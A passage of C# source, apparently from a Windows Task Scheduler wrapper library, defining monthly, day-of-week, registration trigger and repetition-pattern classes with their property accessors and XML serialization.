v1TriggerData.Data.monthlyDOW.DaysOfTheWeek = DaysOfTheWeek.Sunday;\n        }\n\n        internal MonthlyDOWTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets the days of the week during which the task runs.</summary>\n        [DefaultValue(0)]\n        public DaysOfTheWeek DaysOfWeek\n        {\n            get => v2Trigger != null\n                ? (DaysOfTheWeek)((IMonthlyDOWTrigger)v2Trigger).DaysOfWeek\n                : v1TriggerData.Data.monthlyDOW.DaysOfTheWeek;\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyDOWTrigger)v2Trigger).DaysOfWeek = (short)value;\n                else\n                {\n                    v1TriggerData.Data.monthlyDOW.DaysOfTheWeek = value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(DaysOfWeek)] = (short)value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the months of the year during which the task runs.</summary>\n        [DefaultValue(0)]\n        public MonthsOfTheYear MonthsOfYear\n        {\n            get => v2Trigger != null\n                ? (MonthsOfTheYear)((IMonthlyDOWTrigger)v2Trigger).MonthsOfYear\n                : v1TriggerData.Data.monthlyDOW.Months;\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyDOWTrigger)v2Trigger).MonthsOfYear = (short)value;\n                else\n                {\n                    v1TriggerData.Data.monthlyDOW.Months = value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(MonthsOfYear)] = (short)value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a delay time that is randomly added to the start time of the trigger.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan RandomDelay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IMonthlyDOWTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyDOWTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RandomDelay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the task runs on the last week of the month.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(false)]\n        [XmlIgnore]\n        public bool RunOnLastWeekOfMonth\n        {\n            get => ((IMonthlyDOWTrigger)v2Trigger)?.RunOnLastWeekOfMonth ?? GetUnboundValueOrDefault(nameof(RunOnLastWeekOfMonth), false);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyDOWTrigger)v2Trigger).RunOnLastWeekOfMonth = value;\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RunOnLastWeekOfMonth)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the weeks of the month during which the task runs.</summary>\n        [DefaultValue(0)]\n        public WhichWeek WeeksOfMonth\n        {\n            get\n            {\n                if (v2Trigger == null)\n                    return v1Trigger != null\n                        ? v1TriggerData.Data.monthlyDOW.V2WhichWeek\n                        : GetUnboundValueOrDefault(nameof(WeeksOfMonth), WhichWeek.FirstWeek);\n                var ww = (WhichWeek)((IMonthlyDOWTrigger)v2Trigger).WeeksOfMonth;\n                // Following addition give accurate results for confusing RunOnLastWeekOfMonth property (thanks kbergeron)\n                if (((IMonthlyDOWTrigger)v2Trigger).RunOnLastWeekOfMonth)\n                    ww |= WhichWeek.LastWeek;\n                return ww;\n            }\n            set\n            {\n                // In Windows 10, the native library no longer acknowledges the LastWeek value and requires the RunOnLastWeekOfMonth to be\n                // expressly set. I think this is wrong so I am correcting their changed functionality. (thanks @SebastiaanPolfliet)\n                if (value.IsFlagSet(WhichWeek.LastWeek))\n                    RunOnLastWeekOfMonth = true;\n                if (v2Trigger != null)\n                {\n                    ((IMonthlyDOWTrigger)v2Trigger).WeeksOfMonth = (short)value;\n                }\n                else\n                {\n                    try\n                    {\n                        v1TriggerData.Data.monthlyDOW.V2WhichWeek = value;\n                    }\n                    catch (NotV1SupportedException)\n                    {\n                        if (v1Trigger != null) throw;\n                    }\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(WeeksOfMonth)] = (short)value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time before the task is started.</summary>\n        /// <value>The delay duration.</value>\n        TimeSpan ITriggerDelay.Delay\n        {\n            get => RandomDelay;\n            set => RandomDelay = value;\n        }\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public override void CopyProperties(Trigger sourceTrigger)\n        {\n            base.CopyProperties(sourceTrigger);\n            if (sourceTrigger is MonthlyDOWTrigger mt)\n            {\n                DaysOfWeek = mt.DaysOfWeek;\n                MonthsOfYear = mt.MonthsOfYear;\n                try { RunOnLastWeekOfMonth = mt.RunOnLastWeekOfMonth; } catch { /* ignored */ }\n                WeeksOfMonth = mt.WeeksOfMonth;\n            }\n            if (sourceTrigger is MonthlyTrigger m)\n                MonthsOfYear = m.MonthsOfYear;\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public override bool Equals(Trigger other) => other is MonthlyDOWTrigger mt && base.Equals(other) && DaysOfWeek == mt.DaysOfWeek &&\n            MonthsOfYear == mt.MonthsOfYear && WeeksOfMonth == mt.WeeksOfMonth && v1Trigger == null && RunOnLastWeekOfMonth == mt.RunOnLastWeekOfMonth;\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml);\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml);\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString()\n        {\n            var ww = TaskEnumGlobalizer.GetString(WeeksOfMonth);\n            var days = TaskEnumGlobalizer.GetString(DaysOfWeek);\n            var months = TaskEnumGlobalizer.GetString(MonthsOfYear);\n            return string.Format(Resources.TriggerMonthlyDOW1, AdjustToLocal(StartBoundary), ww, days, months);\n        }\n\n        /// <summary>Reads the subclass XML for V1 streams.</summary>\n        /// <param name=\"reader\">The reader.</param>\n        private void ReadMyXml([NotNull] System.Xml.XmlReader reader)\n        {\n            reader.ReadStartElement(\"ScheduleByMonthDayOfWeek\");\n            while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n            {\n                switch (reader.LocalName)\n                {\n                    case \"Weeks\":\n                        reader.Read();\n                        while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n                        {\n                            if (reader.LocalName == \"Week\")\n                            {\n                                var wk = reader.ReadElementContentAsString();\n                                if (wk == \"Last\")\n                                    WeeksOfMonth = WhichWeek.LastWeek;\n                                else\n                                {\n                                    WeeksOfMonth = (int.Parse(wk)) switch\n                                    {\n                                        1 => WhichWeek.FirstWeek,\n                                        2 => WhichWeek.SecondWeek,\n                                        3 => WhichWeek.ThirdWeek,\n                                        4 => WhichWeek.FourthWeek,\n                                        _ => throw new System.Xml.XmlException(\"Week element must contain a 1-4 or Last as content.\"),\n                                    };\n                                }\n                            }\n                        }\n                        reader.ReadEndElement();\n                        break;\n\n                    case \"DaysOfWeek\":\n                        reader.Read();\n                        DaysOfWeek = 0;\n                        while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n                        {\n                            try\n                            {\n                                DaysOfWeek |= (DaysOfTheWeek)Enum.Parse(typeof(DaysOfTheWeek), reader.LocalName);\n                            }\n                            catch\n                            {\n                                throw new System.Xml.XmlException(\"Invalid days of the week element.\");\n                            }\n                            reader.Read();\n                        }\n                        reader.ReadEndElement();\n                        break;\n\n                    case \"Months\":\n                        reader.Read();\n                        MonthsOfYear = 0;\n                        while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n                        {\n                            try\n                            {\n                                MonthsOfYear |= (MonthsOfTheYear)Enum.Parse(typeof(MonthsOfTheYear), reader.LocalName);\n                            }\n                            catch\n                            {\n                                throw new System.Xml.XmlException(\"Invalid months of the year element.\");\n                            }\n                            reader.Read();\n                        }\n                        reader.ReadEndElement();\n                        break;\n\n                    default:\n                        reader.Skip();\n                        break;\n                }\n            }\n            reader.ReadEndElement();\n        }\n\n        /// <summary>Writes the subclass XML for V1 streams.</summary>\n        /// <param name=\"writer\">The writer.</param>\n        private void WriteMyXml([NotNull] System.Xml.XmlWriter writer)\n        {\n            writer.WriteStartElement(\"ScheduleByMonthDayOfWeek\");\n\n            writer.WriteStartElement(\"Weeks\");\n            if ((WeeksOfMonth & WhichWeek.FirstWeek) == WhichWeek.FirstWeek)\n                writer.WriteElementString(\"Week\", \"1\");\n            if ((WeeksOfMonth & WhichWeek.SecondWeek) == WhichWeek.SecondWeek)\n                writer.WriteElementString(\"Week\", \"2\");\n            if ((WeeksOfMonth & WhichWeek.ThirdWeek) == WhichWeek.ThirdWeek)\n                writer.WriteElementString(\"Week\", \"3\");\n            if ((WeeksOfMonth & WhichWeek.FourthWeek) == WhichWeek.FourthWeek)\n                writer.WriteElementString(\"Week\", \"4\");\n            if ((WeeksOfMonth & WhichWeek.LastWeek) == WhichWeek.LastWeek)\n                writer.WriteElementString(\"Week\", \"Last\");\n            writer.WriteEndElement();\n\n            writer.WriteStartElement(\"DaysOfWeek\");\n            foreach (DaysOfTheWeek e in Enum.GetValues(typeof(DaysOfTheWeek)))\n                if (e != DaysOfTheWeek.AllDays && (DaysOfWeek & e) == e)\n                    writer.WriteElementString(e.ToString(), null);\n            writer.WriteEndElement();\n\n            writer.WriteStartElement(\"Months\");\n            foreach (MonthsOfTheYear e in Enum.GetValues(typeof(MonthsOfTheYear)))\n                if (e != MonthsOfTheYear.AllMonths && (MonthsOfYear & e) == e)\n                    writer.WriteElementString(e.ToString(), null);\n            writer.WriteEndElement();\n\n            writer.WriteEndElement();\n        }\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months.\n    /// </summary>\n    [XmlRoot(\"CalendarTrigger\", Namespace = TaskDefinition.tns, IsNullable = false)]\n    public sealed class MonthlyTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"MonthlyTrigger\"/>.</summary>\n        /// <param name=\"dayOfMonth\">\n        /// The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the <see\n        /// cref=\"RunOnLastDayOfMonth\"/> value will be set and no days will be added regardless of the month.\n        /// </param>\n        /// <param name=\"monthsOfYear\">The months of the year.</param>\n        public MonthlyTrigger(int dayOfMonth = 1, MonthsOfTheYear monthsOfYear = MonthsOfTheYear.AllMonths) : base(TaskTriggerType.Monthly)\n        {\n            if (dayOfMonth < 1 || dayOfMonth > 32) throw new ArgumentOutOfRangeException(nameof(dayOfMonth));\n            if (!monthsOfYear.IsValidFlagValue()) throw new ArgumentOutOfRangeException(nameof(monthsOfYear));\n            if (dayOfMonth == 32)\n            {\n                DaysOfMonth = new int[0];\n                RunOnLastDayOfMonth = true;\n            }\n            else\n                DaysOfMonth = new[] { dayOfMonth };\n            MonthsOfYear = monthsOfYear;\n        }\n\n        internal MonthlyTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunMonthly)\n        {\n            if (v1TriggerData.Data.monthlyDate.Months == 0)\n                v1TriggerData.Data.monthlyDate.Months = MonthsOfTheYear.AllMonths;\n            if (v1TriggerData.Data.monthlyDate.Days == 0)\n                v1TriggerData.Data.monthlyDate.Days = 1;\n        }\n\n        internal MonthlyTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets the days of the month during which the task runs.</summary>\n        public int[] DaysOfMonth\n        {\n            get => v2Trigger != null ? MaskToIndices(((IMonthlyTrigger)v2Trigger).DaysOfMonth) : MaskToIndices((int)v1TriggerData.Data.monthlyDate.Days);\n            set\n            {\n                var mask = IndicesToMask(value);\n                if (v2Trigger != null)\n                    ((IMonthlyTrigger)v2Trigger).DaysOfMonth = mask;\n                else\n                {\n                    v1TriggerData.Data.monthlyDate.Days = (uint)mask;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(DaysOfMonth)] = mask;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the months of the year during which the task runs.</summary>\n        [DefaultValue(0)]\n        public MonthsOfTheYear MonthsOfYear\n        {\n            get => v2Trigger != null\n                ? (MonthsOfTheYear)((IMonthlyTrigger)v2Trigger).MonthsOfYear\n                : v1TriggerData.Data.monthlyDOW.Months;\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyTrigger)v2Trigger).MonthsOfYear = (short)value;\n                else\n                {\n                    v1TriggerData.Data.monthlyDOW.Months = value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(MonthsOfYear)] = (short)value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a delay time that is randomly added to the start time of the trigger.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan RandomDelay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IMonthlyTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RandomDelay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a Boolean value that indicates that the task runs on the last day of the month.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(false)]\n        [XmlIgnore]\n        public bool RunOnLastDayOfMonth\n        {\n            get => ((IMonthlyTrigger)v2Trigger)?.RunOnLastDayOfMonth ?? GetUnboundValueOrDefault(nameof(RunOnLastDayOfMonth), false);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IMonthlyTrigger)v2Trigger).RunOnLastDayOfMonth = value;\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RunOnLastDayOfMonth)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time before the task is started.</summary>\n        /// <value>The delay duration.</value>\n        TimeSpan ITriggerDelay.Delay\n        {\n            get => RandomDelay;\n            set => RandomDelay = value;\n        }\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public override void CopyProperties(Trigger sourceTrigger)\n        {\n            base.CopyProperties(sourceTrigger);\n            if (sourceTrigger is MonthlyTrigger mt)\n            {\n                DaysOfMonth = mt.DaysOfMonth;\n                MonthsOfYear = mt.MonthsOfYear;\n                try { RunOnLastDayOfMonth = mt.RunOnLastDayOfMonth; } catch { /* ignored */ }\n            }\n            if (sourceTrigger is MonthlyDOWTrigger mdt)\n                MonthsOfYear = mdt.MonthsOfYear;\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public override bool Equals(Trigger other) => other is MonthlyTrigger mt && base.Equals(mt) && ListsEqual(DaysOfMonth, mt.DaysOfMonth) &&\n            MonthsOfYear == mt.MonthsOfYear && v1Trigger == null && RunOnLastDayOfMonth == mt.RunOnLastDayOfMonth;\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml);\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml);\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString()\n        {\n            var days = string.Join(Resources.ListSeparator, Array.ConvertAll(DaysOfMonth, i => i.ToString()));\n            if (RunOnLastDayOfMonth)\n                days += (days.Length == 0 ? \"\" : Resources.ListSeparator) + Resources.WWLastWeek;\n            var months = TaskEnumGlobalizer.GetString(MonthsOfYear);\n            return string.Format(Resources.TriggerMonthly1, AdjustToLocal(StartBoundary), days, months);\n        }\n\n        /// <summary>\n        /// Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1\n        /// to 32 and bits are numbered the same.\n        /// </summary>\n        /// <param name=\"indices\">An array with an element for each bit of the mask which is ON.</param>\n        /// <returns>An integer to be interpreted as a mask.</returns>\n        private static int IndicesToMask(int[] indices)\n        {\n            if (indices is null || indices.Length == 0) return 0;\n            var mask = 0;\n            foreach (var index in indices)\n            {\n                if (index < 1 || index > 31) throw new ArgumentException(\"Days must be in the range 1..31\");\n                mask |= 1 << (index - 1);\n            }\n            return mask;\n        }\n\n        /// <summary>Compares two collections.</summary>\n        /// <typeparam name=\"T\">Item type of collections.</typeparam>\n        /// <param name=\"left\">The first collection.</param>\n        /// <param name=\"right\">The second collection</param>\n        /// <returns><c>true</c> if the collections values are equal; <c>false</c> otherwise.</returns>\n        private static bool ListsEqual<T>(ICollection<T> left, ICollection<T> right) where T : IComparable\n        {\n            if (left == null && right == null) return true;\n            if (left == null || right == null) return false;\n            if (left.Count != right.Count) return false;\n            List<T> l1 = new List<T>(left), l2 = new List<T>(right);\n            l1.Sort(); l2.Sort();\n            for (var i = 0; i < l1.Count; i++)\n                if (l1[i].CompareTo(l2[i]) != 0) return false;\n            return true;\n        }\n\n        /// <summary>\n        /// Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits\n        /// are considered to number from 1 to 32.\n        /// </summary>\n        /// <param name=\"mask\">An integer to be interpreted as a mask.</param>\n        /// <returns>An array with an element for each bit of the mask which is ON.</returns>\n        private static int[] MaskToIndices(int mask)\n        {\n            //count bits in mask\n            var cnt = 0;\n            for (var i = 0; mask >> i > 0; i++)\n                cnt += (1 & (mask >> i));\n            //allocate return array with one entry for each bit\n            var indices = new int[cnt];\n            //fill array with bit indices\n            cnt = 0;\n            for (var i = 0; mask >> i > 0; i++)\n                if ((1 & (mask >> i)) == 1)\n                    indices[cnt++] = i + 1;\n            return indices;\n        }\n\n        /// <summary>Reads the subclass XML for V1 streams.</summary>\n        /// <param name=\"reader\">The reader.</param>\n        private void ReadMyXml([NotNull] System.Xml.XmlReader reader)\n        {\n            reader.ReadStartElement(\"ScheduleByMonth\");\n            while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n            {\n                switch (reader.LocalName)\n                {\n                    case \"DaysOfMonth\":\n                        reader.Read();\n                        var days = new List<int>();\n                        while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n                        {\n                            if (reader.LocalName != \"Day\") continue;\n                            var sday = reader.ReadElementContentAsString();\n                            if (sday.Equals(\"Last\", StringComparison.InvariantCultureIgnoreCase)) continue;\n                            var day = int.Parse(sday);\n                            if (day >= 1 && day <= 31)\n                                days.Add(day);\n                        }\n                        DaysOfMonth = days.ToArray();\n                        reader.ReadEndElement();\n                        break;\n\n                    case \"Months\":\n                        reader.Read();\n                        MonthsOfYear = 0;\n                        while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n                        {\n                            try\n                            {\n                                MonthsOfYear |= (MonthsOfTheYear)Enum.Parse(typeof(MonthsOfTheYear), reader.LocalName);\n                            }\n                            catch\n                            {\n                                throw new System.Xml.XmlException(\"Invalid months of the year element.\");\n                            }\n                            reader.Read();\n                        }\n                        reader.ReadEndElement();\n                        break;\n\n                    default:\n                        reader.Skip();\n                        break;\n                }\n            }\n            reader.ReadEndElement();\n        }\n\n        private void WriteMyXml([NotNull] System.Xml.XmlWriter writer)\n        {\n            writer.WriteStartElement(\"ScheduleByMonth\");\n\n            writer.WriteStartElement(\"DaysOfMonth\");\n            foreach (var day in DaysOfMonth)\n                writer.WriteElementString(\"Day\", day.ToString());\n            writer.WriteEndElement();\n\n            writer.WriteStartElement(\"Months\");\n            foreach (MonthsOfTheYear e in Enum.GetValues(typeof(MonthsOfTheYear)))\n                if (e != MonthsOfTheYear.AllMonths && (MonthsOfYear & e) == e)\n                    writer.WriteElementString(e.ToString(), null);\n            writer.WriteEndElement();\n\n            writer.WriteEndElement();\n        }\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. <note>Only\n    /// available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later.</note>\n    /// </summary>\n    /// <remarks>The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay.</remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create a trigger that will fire the task 5 minutes after its registered\n    /// RegistrationTrigger rTrigger = new RegistrationTrigger();\n    /// rTrigger.Delay = TimeSpan.FromMinutes(5);\n    ///]]>\n    /// </code>\n    /// </example>\n    [XmlType(IncludeInSchema = false)]\n    public sealed class RegistrationTrigger : Trigger, ITriggerDelay\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"RegistrationTrigger\"/>.</summary>\n        public RegistrationTrigger() : base(TaskTriggerType.Registration) { }\n\n        internal RegistrationTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan Delay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IRegistrationTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IRegistrationTrigger)v2Trigger).Delay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(Delay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString() => Resources.TriggerRegistration1;\n    }\n\n    /// <summary>Defines how often the task is run and how long the repetition pattern is repeated after the task is started.</summary>\n    /// <remarks>This can be used directly or by assignment for a <see cref=\"Trigger\"/>.</remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create a time trigger with a repetition\n    /// var tt = new TimeTrigger(new DateTime().Now.AddHours(1));\n    /// // Set the time in between each repetition of the task after it starts to 30 minutes.\n    /// tt.Repetition.Interval = TimeSpan.FromMinutes(30); // Default is TimeSpan.Zero (or never)\n    /// // Set the time the task will repeat to 1 day.\n    /// tt.Repetition.Duration = TimeSpan.FromDays(1); // Default is TimeSpan.Zero (or never)\n    /// // Set the task to end even if running when the duration is over\n    /// tt.Repetition.StopAtDurationEnd = true; // Default is false;\n    /// \n    /// // Do the same as above with a constructor\n    /// tt = new TimeTrigger(new DateTime().Now.AddHours(1)) { Repetition = new RepetitionPattern(TimeSpan.FromMinutes(30), TimeSpan.FromDays(1), true) };\n    ///]]>\n    /// </code>\n    /// </example>\n    [XmlRoot(\"Repetition\", Namespace = TaskDefinition.tns, IsNullable = true)]\n    [TypeConverter(typeof(RepetitionPatternConverter))]\n    public sealed class RepetitionPattern : IDisposable, IXmlSerializable, IEquatable<RepetitionPattern>, INotifyPropertyChanged\n    {\n        private readonly Trigger pTrigger;\n        private readonly IRepetitionPattern v2Pattern;\n        private TimeSpan unboundInterval = TimeSpan.Zero, unboundDuration = TimeSpan.Zero;\n        private bool unboundStopAtDurationEnd;\n\n        /// <summary>Initializes a new instance of the <see cref=\"RepetitionPattern\"/> class.</summary>\n        /// <param name=\"interval\">\n        /// The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute.\n        /// </param>\n        /// <param name=\"duration\">\n        /// The duration of how long the pattern is repeated. The minimum time allowed is one minute. If <c>TimeSpan.Zero</c> is specified,\n        /// the pattern is repeated indefinitely.\n        /// </param>\n        /// <param name=\"stopAtDurationEnd\">\n        /// If set to <c>true</c> the running instance of the task is stopped at the end of repetition pattern duration.\n        /// </param>\n        public RepetitionPattern(TimeSpan interval, TimeSpan duration, bool stopAtDurationEnd = false)\n        {\n            Interval = interval;\n            Duration = duration;\n            StopAtDurationEnd = stopAtDurationEnd;\n        }\n\n        internal RepetitionPattern([NotNull] Trigger parent)\n        {\n            pTrigger = parent;\n            if (pTrigger?.v2Trigger != null)\n                v2Pattern = pTrigger.v2Trigger.Repetition;\n        }\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets or sets how long the pattern is repeated.</summary>\n        /// <value>\n        /// The duration that the pattern is repeated. The minimum time allowed is one minute. If <c>TimeSpan.Zero</c> is specified, the\n        /// pattern is repeated indefinitely.\n        /// </value>\n        /// <remarks>If you specify a repetition duration for a task, you must also specify the repetition interval.</remarks>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        public TimeSpan Duration\n        {\n            get => v2Pattern != null\n                ? Task.StringToTimeSpan(v2Pattern.Duration)\n                : (pTrigger != null ? TimeSpan.FromMinutes(pTrigger.v1TriggerData.MinutesDuration) : unboundDuration);\n            set\n            {\n                if (value.Ticks < 0 || value != TimeSpan.Zero && value < TimeSpan.FromMinutes(1))\n                    throw new ArgumentOutOfRangeException(nameof(Duration));\n                if (v2Pattern != null)\n                {\n                    v2Pattern.Duration = Task.TimeSpanToString(value);\n                }\n                else if (pTrigger != null)\n                {\n                    pTrigger.v1TriggerData.MinutesDuration = (uint)value.TotalMinutes;\n                    Bind();\n                }\n                else\n                    unboundDuration = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the amount of time between each restart of the task.</summary>\n        /// <value>\n        /// The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute.\n        /// </value>\n        /// <remarks>If you specify a repetition duration for a task, you must also specify the repetition interval.</remarks>\n        /// <exception cref=\"System.ArgumentOutOfRangeException\">\n        /// The maximum time allowed is 31 days, and the minimum time allowed is 1 minute.\n        /// </exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        public TimeSpan Interval\n        {\n            get => v2Pattern != null\n                ? Task.StringToTimeSpan(v2Pattern.Interval)\n                : (pTrigger != null ? TimeSpan.FromMinutes(pTrigger.v1TriggerData.MinutesInterval) : unboundInterval);\n            set\n            {\n                if (value.Ticks < 0 || (v2Pattern != null || pTrigger == null) && value != TimeSpan.Zero && (value < TimeSpan.FromMinutes(1) || value > TimeSpan.FromDays(31)))\n                    throw new ArgumentOutOfRangeException(nameof(Interval));\n                if (v2Pattern != null)\n                {\n                    v2Pattern.Interval = Task.TimeSpanToString(value);\n                }\n                else if (pTrigger != null)\n                {\n                    if (value != TimeSpan.Zero && value < TimeSpan.FromMinutes(1))\n                        throw new ArgumentOutOfRangeException(nameof(Interval));\n                    pTrigger.v1TriggerData.MinutesInterval = (uint)value.TotalMinutes;\n                    Bind();\n                }\n                else\n                    unboundInterval = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration.\n        /// </summary>\n        [DefaultValue(false)]\n        public bool StopAtDurationEnd\n        {\n            get\n            {\n                if (v2Pattern != null)\n                    return v2Pattern.StopAtDurationEnd;\n                if (pTrigger != null)\n                    return (pTrigger.v1TriggerData.Flags & TaskTriggerFlags.KillAtDurationEnd) == TaskTriggerFlags.KillAtDurationEnd;\n                return unboundStopAtDurationEnd;\n            }\n            set\n            {\n                if (v2Pattern != null)\n                    v2Pattern.StopAtDurationEnd = value;\n                else if (pTrigger != null)\n                {\n                    if (value)\n                        pTrigger.v1TriggerData.Flags |= TaskTriggerFlags.KillAtDurationEnd;\n                    else\n                        pTrigger.v1TriggerData.Flags &= ~TaskTriggerFlags.KillAtDurationEnd;\n                    Bind();\n                }\n                else\n                    unboundStopAtDurationEnd = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Releases all resources used by this 